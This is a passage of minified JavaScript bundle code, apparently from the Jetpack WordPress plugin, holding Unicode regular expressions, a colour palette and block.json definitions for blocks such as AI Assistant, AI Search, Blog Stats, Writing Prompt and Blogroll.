r=/[\$\+&lt;-&gt;\^`\|~\xA2-\xA6\xA8\xA9\xAC\xAE-\xB1\xB4\xB8\xD7\xF7\u02C2-\u02C5\u02D2-\u02DF\u02E5-\u02EB\u02ED\u02EF-\u02FF\u0375\u0384\u0385\u03F6\u0482\u058D-\u058F\u0606-\u0608\u060B\u060E\u060F\u06DE\u06E9\u06FD\u06FE\u07F6\u07FE\u07FF\u0888\u09F2\u09F3\u09FA\u09FB\u0AF1\u0B70\u0BF3-\u0BFA\u0C7F\u0D4F\u0D79\u0E3F\u0F01-\u0F03\u0F13\u0F15-\u0F17\u0F1A-\u0F1F\u0F34\u0F36\u0F38\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE\u0FCF\u0FD5-\u0FD8\u109E\u109F\u1390-\u1399\u166D\u17DB\u1940\u19DE-\u19FF\u1B61-\u1B6A\u1B74-\u1B7C\u1FBD\u1FBF-\u1FC1\u1FCD-\u1FCF\u1FDD-\u1FDF\u1FED-\u1FEF\u1FFD\u1FFE\u2044\u2052\u207A-\u207C\u208A-\u208C\u20A0-\u20C0\u2100\u2101\u2103-\u2106\u2108\u2109\u2114\u2116-\u2118\u211E-\u2123\u2125\u2127\u2129\u212E\u213A\u213B\u2140-\u2144\u214A-\u214D\u214F\u218A\u218B\u2190-\u2307\u230C-\u2328\u232B-\u2426\u2440-\u244A\u249C-\u24E9\u2500-\u2767\u2794-\u27C4\u27C7-\u27E5\u27F0-\u2982\u2999-\u29D7\u29DC-\u29FB\u29FE-\u2B73\u2B76-\u2B95\u2B97-\u2BFF\u2CE5-\u2CEA\u2E50\u2E51\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFF\u3004\u3012\u3013\u3020\u3036\u3037\u303E\u303F\u309B\u309C\u3190\u3191\u3196-\u319F\u31C0-\u31E3\u31EF\u3200-\u321E\u322A-\u3247\u3250\u3260-\u327F\u328A-\u32B0\u32C0-\u33FF\u4DC0-\u4DFF\uA490-\uA4C6\uA700-\uA716\uA720\uA721\uA789\uA78A\uA828-\uA82B\uA836-\uA839\uAA77-\uAA79\uAB5B\uAB6A\uAB6B\uFB29\uFBB2-\uFBC2\uFD40-\uFD4F\uFDCF\uFDFC-\uFDFF\uFE62\uFE64-\uFE66\uFE69\uFF04\uFF0B\uFF1C-\uFF1E\uFF3E\uFF40\uFF5C\uFF5E\uFFE0-\uFFE6\uFFE8-\uFFEE\uFFFC\uFFFD]|\uD800[\uDD37-\uDD3F\uDD79-\uDD89\uDD8C-\uDD8E\uDD90-\uDD9C\uDDA0\uDDD0-\uDDFC]|\uD802[\uDC77\uDC78\uDEC8]|\uD805\uDF3F|\uD807[\uDFD5-\uDFF1]|\uD81A[\uDF3C-\uDF3F\uDF45]|\uD82F\uDC9C|\uD833[\uDF50-\uDFC3]|\uD834[\uDC00-\uDCF5\uDD00-\uDD26\uDD29-\uDD64\uDD6A-\uDD6C\uDD83\uDD84\uDD8C-\uDDA9\uDDAE-\uDDEA\uDE00-\uDE41\uDE45\uDF00-\uDF56]|\uD835[\uDEC1\uDEDB\uDEFB\uDF15\uDF35\uDF4F\uDF6F\uDF89\uDFA9\uDFC3]|\uD836[\uDC00-\uDDFF\uDE37-\uDE3A\uDE6D-\uDE74\uDE76-\uDE83\uDE85\uDE86]|\uD838[\uDD4F\uDEFF]|\uD83B[\uDCAC\uDCB0\uDD2E\uDEF0\uDEF1]|\uD83C[\uDC00-\uDC2B\uDC30-\uDC93\uDCA0-\uDCAE\uDCB1-\uDCBF\uDCC1-\uDCCF\uDCD1-\uDCF5\uDD0D-\uDDAD\uDDE6-\uDE02\uDE10-\uDE3B\uDE40-\uDE48\uDE50\uDE51\uDE60-\uDE65\uDF00-\uDFFF]|\uD83D[\uDC00-\uDED7\uDEDC-\uDEEC\uDEF0-\uDEFC\uDF00-\uDF76\uDF7B-\uDFD9\uDFE0-\uDFEB\uDFF0]|\uD83E[\uDC00-\uDC0B\uDC10-\uDC47\uDC50-\uDC59\uDC60-\uDC87\uDC90-\uDCAD\uDCB0\uDCB1\uDD00-\uDE53\uDE60-\uDE6D\uDE70-\uDE7C\uDE80-\uDE88\uDE90-\uDEBD\uDEBF-\uDEC5\uDECE-\uDEDB\uDEE0-\uDEE8\uDEF0-\uDEF8\uDF00-\uDF92\uDF94-\uDFCA]/},3506(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=/[ \xA0\u1680\u2000-\u200A\u2028\u2029\u202F\u205F\u3000]/},68407(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{Any:()=&gt;r.A,Cc:()=&gt;n.A,Cf:()=&gt;o.A,P:()=&gt;a.A,S:()=&gt;i.A,Z:()=&gt;l.A});var r=s(60905),n=s(80786),o=s(14935),a=s(60804),i=s(47795),l=s(3506)},60905(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=/[\0-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/},38377(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;T&quot;:{&quot;White&quot;:&quot;#fff&quot;,&quot;Black&quot;:&quot;#000&quot;,&quot;Gray 0&quot;:&quot;#f6f7f7&quot;,&quot;Gray 5&quot;:&quot;#dcdcde&quot;,&quot;Gray 10&quot;:&quot;#c3c4c7&quot;,&quot;Gray 20&quot;:&quot;#a7aaad&quot;,&quot;Gray 30&quot;:&quot;#8c8f94&quot;,&quot;Gray 40&quot;:&quot;#787c82&quot;,&quot;Gray 50&quot;:&quot;#646970&quot;,&quot;Gray 60&quot;:&quot;#50575e&quot;,&quot;Gray 70&quot;:&quot;#3c434a&quot;,&quot;Gray 80&quot;:&quot;#2c3338&quot;,&quot;Gray 90&quot;:&quot;#1d2327&quot;,&quot;Gray 100&quot;:&quot;#101517&quot;,&quot;Gray&quot;:&quot;#646970&quot;,&quot;Blue 0&quot;:&quot;#fbfcfe&quot;,&quot;Blue 5&quot;:&quot;#f7f8fe&quot;,&quot;Blue 10&quot;:&quot;#d6ddf9&quot;,&quot;Blue 20&quot;:&quot;#adbaf3&quot;,&quot;Blue 30&quot;:&quot;#7b90ff&quot;,&quot;Blue 40&quot;:&quot;#546ff3&quot;,&quot;Blue 50&quot;:&quot;#3858e9&quot;,&quot;Blue 60&quot;:&quot;#2a46ce&quot;,&quot;Blue 70&quot;:&quot;#1d35b4&quot;,&quot;Blue 80&quot;:&quot;#1f3286&quot;,&quot;Blue 90&quot;:&quot;#14215a&quot;,&quot;Blue 100&quot;:&quot;#0a112d&quot;,&quot;Blue&quot;:&quot;#3858e9&quot;,&quot;WordPress Blue 0&quot;:&quot;#fbfcfe&quot;,&quot;WordPress Blue 5&quot;:&quot;#f7f8fe&quot;,&quot;WordPress Blue 10&quot;:&quot;#d6ddf9&quot;,&quot;WordPress Blue 20&quot;:&quot;#adbaf3&quot;,&quot;WordPress Blue 30&quot;:&quot;#7b90ff&quot;,&quot;WordPress Blue 40&quot;:&quot;#546ff3&quot;,&quot;WordPress Blue 50&quot;:&quot;#3858e9&quot;,&quot;WordPress Blue 60&quot;:&quot;#2a46ce&quot;,&quot;WordPress Blue 70&quot;:&quot;#1d35b4&quot;,&quot;WordPress Blue 80&quot;:&quot;#1f3286&quot;,&quot;WordPress Blue 90&quot;:&quot;#14215a&quot;,&quot;WordPress Blue 100&quot;:&quot;#0a112d&quot;,&quot;WordPress Blue&quot;:&quot;#3858e9&quot;,&quot;Purple 0&quot;:&quot;#f2e9ed&quot;,&quot;Purple 5&quot;:&quot;#ebcee0&quot;,&quot;Purple 10&quot;:&quot;#e3afd5&quot;,&quot;Purple 20&quot;:&quot;#d48fc8&quot;,&quot;Purple 30&quot;:&quot;#c475bd&quot;,&quot;Purple 40&quot;:&quot;#b35eb1&quot;,&quot;Purple 50&quot;:&quot;#984a9c&quot;,&quot;Purple 60&quot;:&quot;#7c3982&quot;,&quot;Purple 70&quot;:&quot;#662c6e&quot;,&quot;Purple 80&quot;:&quot;#4d2054&quot;,&quot;Purple 90&quot;:&quot;#35163b&quot;,&quot;Purple 100&quot;:&quot;#1e0c21&quot;,&quot;Purple&quot;:&quot;#984a9c&quot;,&quot;Pink 0&quot;:&quot;#f5e9ed&quot;,&quot;Pink 5&quot;:&quot;#f2ceda&quot;,&quot;Pink 10&quot;:&quot;#f7a8c3&quot;,&quot;Pink 20&quot;:&quot;#f283aa&quot;,&quot;Pink 30&quot;:&quot;#eb6594&quot;,&quot;Pink 40&quot;:&quot;#e34c84&quot;,&quot;Pink 50&quot;:&quot;#c9356e&quot;,&quot;Pink 60&quot;:&quot;#ab235a&quot;,&quot;Pink 70&quot;:&quot;#8c1749&quot;,&quot;Pink 80&quot;:&quot;#700f3b&quot;,&quot;Pink 90&quot;:&quot;#4f092a&quot;,&quot;Pink 100&quot;:&quot;#260415&quot;,&quot;Pink&quot;:&quot;#c9356e&quot;,&quot;Red 0&quot;:&quot;#f7ebec&quot;,&quot;Red 5&quot;:&quot;#facfd2&quot;,&quot;Red 10&quot;:&quot;#ffabaf&quot;,&quot;Red 20&quot;:&quot;#ff8085&quot;,&quot;Red 30&quot;:&quot;#f86368&quot;,&quot;Red 40&quot;:&quot;#e65054&quot;,&quot;Red 50&quot;:&quot;#d63638&quot;,&quot;Red 60&quot;:&quot;#b32d2e&quot;,&quot;Red 70&quot;:&quot;#8a2424&quot;,&quot;Red 80&quot;:&quot;#691c1c&quot;,&quot;Red 90&quot;:&quot;#451313&quot;,&quot;Red 100&quot;:&quot;#240a0a&quot;,&quot;Red&quot;:&quot;#d63638&quot;,&quot;Orange 0&quot;:&quot;#f5ece6&quot;,&quot;Orange 5&quot;:&quot;#f7dcc6&quot;,&quot;Orange 10&quot;:&quot;#ffbf86&quot;,&quot;Orange 20&quot;:&quot;#faa754&quot;,&quot;Orange 30&quot;:&quot;#e68b28&quot;,&quot;Orange 40&quot;:&quot;#d67709&quot;,&quot;Orange 50&quot;:&quot;#b26200&quot;,&quot;Orange 60&quot;:&quot;#8a4d00&quot;,&quot;Orange 70&quot;:&quot;#704000&quot;,&quot;Orange 80&quot;:&quot;#543100&quot;,&quot;Orange 90&quot;:&quot;#361f00&quot;,&quot;Orange 100&quot;:&quot;#1f1200&quot;,&quot;Orange&quot;:&quot;#b26200&quot;,&quot;Yellow 0&quot;:&quot;#f5f1e1&quot;,&quot;Yellow 5&quot;:&quot;#f5e6b3&quot;,&quot;Yellow 10&quot;:&quot;#f2d76b&quot;,&quot;Yellow 20&quot;:&quot;#f0c930&quot;,&quot;Yellow 30&quot;:&quot;#deb100&quot;,&quot;Yellow 40&quot;:&quot;#c08c00&quot;,&quot;Yellow 50&quot;:&quot;#9d6e00&quot;,&quot;Yellow 60&quot;:&quot;#7d5600&quot;,&quot;Yellow 70&quot;:&quot;#674600&quot;,&quot;Yellow 80&quot;:&quot;#4f3500&quot;,&quot;Yellow 90&quot;:&quot;#320&quot;,&quot;Yellow 100&quot;:&quot;#1c1300&quot;,&quot;Yellow&quot;:&quot;#9d6e00&quot;,&quot;Green 0&quot;:&quot;#e6f2e8&quot;,&quot;Green 5&quot;:&quot;#b8e6bf&quot;,&quot;Green 10&quot;:&quot;#68de86&quot;,&quot;Green 20&quot;:&quot;#1ed15a&quot;,&quot;Green 30&quot;:&quot;#00ba37&quot;,&quot;Green 40&quot;:&quot;#00a32a&quot;,&quot;Green 50&quot;:&quot;#008a20&quot;,&quot;Green 60&quot;:&quot;#007017&quot;,&quot;Green 70&quot;:&quot;#005c12&quot;,&quot;Green 80&quot;:&quot;#00450c&quot;,&quot;Green 90&quot;:&quot;#003008&quot;,&quot;Green 100&quot;:&quot;#001c05&quot;,&quot;Green&quot;:&quot;#008a20&quot;,&quot;Celadon 0&quot;:&quot;#e4f2ed&quot;,&quot;Celadon 5&quot;:&quot;#a7e8d3&quot;,&quot;Celadon 10&quot;:&quot;#66deb9&quot;,&quot;Celadon 20&quot;:&quot;#31cc9f&quot;,&quot;Celadon 30&quot;:&quot;#09b585&quot;,&quot;Celadon 40&quot;:&quot;#009e73&quot;,&quot;Celadon 50&quot;:&quot;#008763&quot;,&quot;Celadon 60&quot;:&quot;#007053&quot;,&quot;Celadon 70&quot;:&quot;#005c44&quot;,&quot;Celadon 80&quot;:&quot;#004533&quot;,&quot;Celadon 90&quot;:&quot;#003024&quot;,&quot;Celadon 100&quot;:&quot;#001c15&quot;,&quot;Celadon&quot;:&quot;#008763&quot;,&quot;Automattic Blue 0&quot;:&quot;#ebf4fa&quot;,&quot;Automattic Blue 5&quot;:&quot;#c4e2f5&quot;,&quot;Automattic Blue 10&quot;:&quot;#88ccf2&quot;,&quot;Automattic Blue 20&quot;:&quot;#5ab7e8&quot;,&quot;Automattic Blue 30&quot;:&quot;#24a3e0&quot;,&quot;Automattic Blue 40&quot;:&quot;#1490c7&quot;,&quot;Automattic Blue 50&quot;:&quot;#0277a8&quot;,&quot;Automattic Blue 60&quot;:&quot;#036085&quot;,&quot;Automattic Blue 70&quot;:&quot;#02506e&quot;,&quot;Automattic Blue 80&quot;:&quot;#02384d&quot;,&quot;Automattic Blue 90&quot;:&quot;#022836&quot;,&quot;Automattic Blue 100&quot;:&quot;#021b24&quot;,&quot;Automattic Blue&quot;:&quot;#24a3e0&quot;,&quot;Simplenote Blue 0&quot;:&quot;#e9ecf5&quot;,&quot;Simplenote Blue 5&quot;:&quot;#ced9f2&quot;,&quot;Simplenote Blue 10&quot;:&quot;#abc1f5&quot;,&quot;Simplenote Blue 20&quot;:&quot;#84a4f0&quot;,&quot;Simplenote Blue 30&quot;:&quot;#618df2&quot;,&quot;Simplenote Blue 40&quot;:&quot;#4678eb&quot;,&quot;Simplenote Blue 50&quot;:&quot;#3361cc&quot;,&quot;Simplenote Blue 60&quot;:&quot;#1d4fc4&quot;,&quot;Simplenote Blue 70&quot;:&quot;#113ead&quot;,&quot;Simplenote Blue 80&quot;:&quot;#0d2f85&quot;,&quot;Simplenote Blue 90&quot;:&quot;#09205c&quot;,&quot;Simplenote Blue 100&quot;:&quot;#05102e&quot;,&quot;Simplenote Blue&quot;:&quot;#3361cc&quot;,&quot;WooCommerce Purple 0&quot;:&quot;#f2edff&quot;,&quot;WooCommerce Purple 5&quot;:&quot;#e1d7ff&quot;,&quot;WooCommerce Purple 10&quot;:&quot;#d1c1ff&quot;,&quot;WooCommerce Purple 20&quot;:&quot;#b999ff&quot;,&quot;WooCommerce Purple 30&quot;:&quot;#a77eff&quot;,&quot;WooCommerce Purple 40&quot;:&quot;#873eff&quot;,&quot;WooCommerce Purple 50&quot;:&quot;#720eec&quot;,&quot;WooCommerce Purple 60&quot;:&quot;#6108ce&quot;,&quot;WooCommerce Purple 70&quot;:&quot;#5007aa&quot;,&quot;WooCommerce Purple 80&quot;:&quot;#3c087e&quot;,&quot;WooCommerce Purple 90&quot;:&quot;#2c045d&quot;,&quot;WooCommerce Purple 100&quot;:&quot;#1f0342&quot;,&quot;WooCommerce Purple&quot;:&quot;#720eec&quot;,&quot;Jetpack Green 0&quot;:&quot;#f0f2eb&quot;,&quot;Jetpack Green 5&quot;:&quot;#d0e6b8&quot;,&quot;Jetpack Green 10&quot;:&quot;#9dd977&quot;,&quot;Jetpack Green 20&quot;:&quot;#64ca43&quot;,&quot;Jetpack Green 30&quot;:&quot;#2fb41f&quot;,&quot;Jetpack Green 40&quot;:&quot;#069e08&quot;,&quot;Jetpack Green 50&quot;:&quot;#008710&quot;,&quot;Jetpack Green 60&quot;:&quot;#007117&quot;,&quot;Jetpack Green 70&quot;:&quot;#005b18&quot;,&quot;Jetpack Green 80&quot;:&quot;#004515&quot;,&quot;Jetpack Green 90&quot;:&quot;#003010&quot;,&quot;Jetpack Green 100&quot;:&quot;#001c09&quot;,&quot;Jetpack Green&quot;:&quot;#069e08&quot;}}&#039;)},54681(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/ai-assistant&quot;,&quot;title&quot;:&quot;AI Assistant&quot;,&quot;description&quot;:&quot;Elevate your content creation with our AI-powered Gutenberg Block, offering seamless customization and generation. Bear in mind that, as an evolving tool, occasional imprecision may occur.&quot;,&quot;keywords&quot;:[&quot;AI&quot;,&quot;GPT&quot;,&quot;AL&quot;,&quot;Magic&quot;,&quot;help&quot;,&quot;assistant&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;text&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 32 32\&#039; width=\&#039;32\&#039; height=\&#039;32\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M9.33301 5.33325L10.4644 8.20188L13.333 9.33325L10.4644 10.4646L9.33301 13.3333L8.20164 10.4646L5.33301 9.33325L8.20164 8.20188L9.33301 5.33325Z\&#039;/&gt;&lt;path d=\&#039;M21.3333 5.33333L22.8418 9.15817L26.6667 10.6667L22.8418 12.1752L21.3333 16L19.8248 12.1752L16 10.6667L19.8248 9.15817L21.3333 5.33333Z\&#039;/&gt;&lt;path d=\&#039;M14.6667 13.3333L16.5523 18.1144L21.3333 20L16.5523 21.8856L14.6667 26.6667L12.781 21.8856L8 20L12.781 18.1144L14.6667 13.3333Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:false},&quot;attributes&quot;:{&quot;content&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;originalContent&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;promptType&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;originalMessages&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;messages&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;userPrompt&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;&quot;},&quot;requestingState&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;init&quot;},&quot;preTransformAction&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:null}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;content&quot;:&quot;With **Jetpack AI Assistant**, you can provide a prompt, and it will generate high-quality blog posts, informative pages, well-organized lists, and thorough tables that meet your specific requirements.\\n\\nTo start using the **Jetpack AI Assistant**, type `/AI` in the block editor.&quot;}}}&#039;)},1629(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/ai-chat&quot;,&quot;title&quot;:&quot;Jetpack AI Search&quot;,&quot;description&quot;:&quot;Provide a summarized answer to questions, trained on the sites content. Powered by AI.&quot;,&quot;keywords&quot;:[&quot;AI&quot;,&quot;GPT&quot;,&quot;Chat&quot;,&quot;Search&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;text&quot;,&quot;icon&quot;:&quot;&lt;svg width=\&#039;16\&#039; height=\&#039;16\&#039; viewBox=\&#039;0 0 16 16\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path fill-rule=\&#039;evenodd\&#039; clip-rule=\&#039;evenodd\&#039; d=\&#039;M6.96774 8C6.96774 9.1402 6.04343 10.0645 4.90323 10.0645C3.76303 10.0645 2.83871 9.1402 2.83871 8C2.83871 6.8598 3.76303 5.93548 4.90323 5.93548C6.04343 5.93548 6.96774 6.8598 6.96774 8ZM5.41935 8C5.41935 8.28505 5.18828 8.51613 4.90323 8.51613C4.61818 8.51613 4.3871 8.28505 4.3871 8C4.3871 7.71495 4.61818 7.48387 4.90323 7.48387C5.18828 7.48387 5.41935 7.71495 5.41935 8Z\&#039;/&gt;&lt;path fill-rule=\&#039;evenodd\&#039; clip-rule=\&#039;evenodd\&#039; d=\&#039;M11.0968 10.0645C12.237 10.0645 13.1613 9.1402 13.1613 8C13.1613 6.8598 12.237 5.93548 11.0968 5.93548C9.95657 5.93548 9.03226 6.8598 9.03226 8C9.03226 9.1402 9.95657 10.0645 11.0968 10.0645ZM11.0968 8.51613C11.3818 8.51613 11.6129 8.28505 11.6129 8C11.6129 7.71495 11.3818 7.48387 11.0968 7.48387C10.8117 7.48387 10.5806 7.71495 10.5806 8C10.5806 8.28505 10.8117 8.51613 11.0968 8.51613Z\&#039;/&gt;&lt;path d=\&#039;M5.93548 11.3548C5.50791 11.3548 5.16129 11.7015 5.16129 12.129C5.16129 12.5566 5.50791 12.9032 5.93548 12.9032H10.0645C10.4921 12.9032 10.8387 12.5566 10.8387 12.129C10.8387 11.7015 10.4921 11.3548 10.0645 11.3548H5.93548Z\&#039;/&gt;&lt;path fill-rule=\&#039;evenodd\&#039; clip-rule=\&#039;evenodd\&#039; d=\&#039;M8.77419 0.774194C8.77419 0.346618 8.42758 0 8 0C7.57242 0 7.22581 0.346618 7.22581 0.774194V3.09677H4.90323C2.19525 3.09677 0 5.29202 0 8V11.0968C0 13.8048 2.19525 16 4.90323 16H11.0968C13.8048 16 16 13.8048 16 11.0968V8C16 5.29202 13.8048 3.09677 11.0968 3.09677H8.77419V0.774194ZM1.54839 8C1.54839 6.14717 3.0504 4.64516 4.90323 4.64516H11.0968C12.9496 4.64516 14.4516 6.14717 14.4516 8V11.0968C14.4516 12.9496 12.9496 14.4516 11.0968 14.4516H4.90323C3.0504 14.4516 1.54839 12.9496 1.54839 11.0968V8Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;alignWide&quot;:true,&quot;customClassName&quot;:true,&quot;className&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:false,&quot;reusable&quot;:false},&quot;attributes&quot;:{&quot;askButtonLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;placeholder&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;showCopy&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showFeedback&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showSources&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}}}&#039;)},35116(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/blog-stats&quot;,&quot;title&quot;:&quot;Blog Stats&quot;,&quot;description&quot;:&quot;Show a stats counter for your blog.&quot;,&quot;keywords&quot;:[&quot;views&quot;,&quot;hits&quot;,&quot;analytics&quot;,&quot;counter&quot;,&quot;visitors&quot;],&quot;version&quot;:&quot;1.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg xmlns=\&#039;http://www.w3.org/2000/svg\&#039; height=\&#039;24\&#039; viewBox=\&#039;0 -960 960 960\&#039; width=\&#039;24\&#039;&gt;&lt;path d=\&#039;M160-200h160v-320H160v320Zm240 0h160v-560H400v560Zm240 0h160v-240H640v240ZM80-120v-480h240v-240h320v320h240v400H80Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;alignWide&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:true,&quot;color&quot;:{&quot;gradients&quot;:true},&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;typography&quot;:{&quot;__experimentalFontFamily&quot;:true,&quot;fontSize&quot;:true}},&quot;attributes&quot;:{&quot;label&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;statsData&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;views&quot;},&quot;statsOption&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;site&quot;}}}&#039;)},32442(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/blogging-prompt&quot;,&quot;title&quot;:&quot;Writing Prompt&quot;,&quot;description&quot;:&quot;Answer a new and inspiring writing prompt each day.&quot;,&quot;keywords&quot;:[&quot;writing&quot;,&quot;blogging&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;text&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M14.3438 19.3438H9.65625C9.57031 19.3438 9.5 19.4141 9.5 19.5V20.125C9.5 20.4707 9.7793 20.75 10.125 20.75H13.875C14.2207 20.75 14.5 20.4707 14.5 20.125V19.5C14.5 19.4141 14.4297 19.3438 14.3438 19.3438ZM12 3.25C8.46289 3.25 5.59375 6.11914 5.59375 9.65625C5.59375 12.0273 6.88281 14.0977 8.79688 15.2051V17.4688C8.79688 17.8145 9.07617 18.0938 9.42188 18.0938H14.5781C14.9238 18.0938 15.2031 17.8145 15.2031 17.4688V15.2051C17.1172 14.0977 18.4062 12.0273 18.4062 9.65625C18.4062 6.11914 15.5371 3.25 12 3.25ZM14.498 13.9883L13.7969 14.3945V16.6875H10.2031V14.3945L9.50195 13.9883C7.96484 13.0996 7 11.4629 7 9.65625C7 6.89453 9.23828 4.65625 12 4.65625C14.7617 4.65625 17 6.89453 17 9.65625C17 11.4629 16.0352 13.0996 14.498 13.9883Z\&#039; stroke-width=\&#039;0.1\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:false,&quot;alignWide&quot;:false,&quot;anchor&quot;:false,&quot;className&quot;:true,&quot;color&quot;:{&quot;background&quot;:true,&quot;gradients&quot;:true,&quot;link&quot;:true,&quot;text&quot;:true},&quot;customClassName&quot;:true,&quot;html&quot;:false,&quot;inserter&quot;:true,&quot;multiple&quot;:false,&quot;reusable&quot;:true,&quot;spacing&quot;:{&quot;margin&quot;:[&quot;top&quot;,&quot;bottom&quot;],&quot;padding&quot;:true,&quot;blockGap&quot;:false}},&quot;attributes&quot;:{&quot;answersLink&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;attribute&quot;,&quot;attribute&quot;:&quot;href&quot;,&quot;selector&quot;:&quot;.jetpack-blogging-prompt__answers-link&quot;},&quot;answersLinkText&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;html&quot;,&quot;selector&quot;:&quot;.jetpack-blogging-prompt__answers-link&quot;},&quot;gravatars&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;source&quot;:&quot;query&quot;,&quot;selector&quot;:&quot;.jetpack-blogging-prompt__answers-gravatar&quot;,&quot;query&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;attribute&quot;,&quot;attribute&quot;:&quot;src&quot;}},&quot;default&quot;:[]},&quot;promptLabel&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;html&quot;,&quot;selector&quot;:&quot;.jetpack-blogging-prompt__label&quot;},&quot;promptText&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;html&quot;,&quot;selector&quot;:&quot;.jetpack-blogging-prompt__text&quot;},&quot;promptFetched&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;promptId&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;showResponses&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;showLabel&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;tagsAdded&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;isBloganuary&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false}},&quot;styles&quot;:[{&quot;name&quot;:&quot;block&quot;,&quot;label&quot;:&quot;Block&quot;,&quot;isDefault&quot;:true},{&quot;name&quot;:&quot;quote&quot;,&quot;label&quot;:&quot;Quote&quot;}]}&#039;)},52829(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/blogroll&quot;,&quot;title&quot;:&quot;Blogroll&quot;,&quot;description&quot;:&quot;Share the sites you follow with your users.&quot;,&quot;keywords&quot;:[],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg width=\&#039;24\&#039; height=\&#039;24\&#039; viewBox=\&#039;0 0 24 24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M4.08691 16.2412H20.0869V14.7412H4.08691V16.2412Z\&#039;&gt;&lt;/path&gt;&lt;path d=\&#039;M4.08691 20.2412H13.0869V18.7412H4.08691V20.2412Z\&#039;&gt;&lt;/path&gt;&lt;path fill-rule=\&#039;evenodd\&#039; clip-rule=\&#039;evenodd\&#039; 